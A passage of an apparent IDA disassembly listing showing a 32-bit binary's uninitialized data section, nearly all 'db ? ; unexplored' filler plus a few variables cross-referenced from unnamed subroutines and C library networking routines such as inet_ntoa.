		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807E300	dd ?			; DATA XREF: sub_805AF5C+24w
					; sub_805B010+3w ...
dword_807E304	dd ?			; DATA XREF: sub_805B144+Fr
					; sub_805B144+18w
unk_807E308	db ? ; unexplored	; DATA XREF: yperr_string+12Eo
					; yperr_string+138o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
byte_807E358	db ?			; DATA XREF: sub_805D3A8+7Co
					; sub_805D3A8+1FCo ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807E398	dd ?			; DATA XREF: sub_805CCB0+18r
					; sub_805CCB0+4Er ...
unk_807E39C	db ? ; unexplored	; DATA XREF: inet_ntoa+1Eo
					; inet_ntoa+28o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807E3B0	db ? ; unexplored	; DATA XREF: sub_805E9B8+4D6o
					; sub_805E9B8+4E0o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807E3C4	db ? ; unexplored	; DATA XREF: sub_805EEA4+F6o
					; sub_805EEA4+100o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807E3D8	db ? ; unexplored	; DATA XREF: __p_type+5B6o
					; __p_type+5C0o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807E3EC	db ? ; unexplored	; DATA XREF: sub_80605D0+4Ao
					; sub_80605D0+54o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807E400	db ? ; unexplored	; DATA XREF: sub_8060630+136o
					; sub_8060630+140o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807E428	dd ?			; DATA XREF: sub_806077C+15w
					; sub_806077C+58o ...
word_807E42C	dw ?			; DATA XREF: sub_806077C+20w
byte_807E42E	db ?			; DATA XREF: sub_806077C+2Cw
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807E450	db ? ; unexplored	; DATA XREF: inet_nsap_ntoa+18o
					; inet_nsap_ntoa+1Do
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
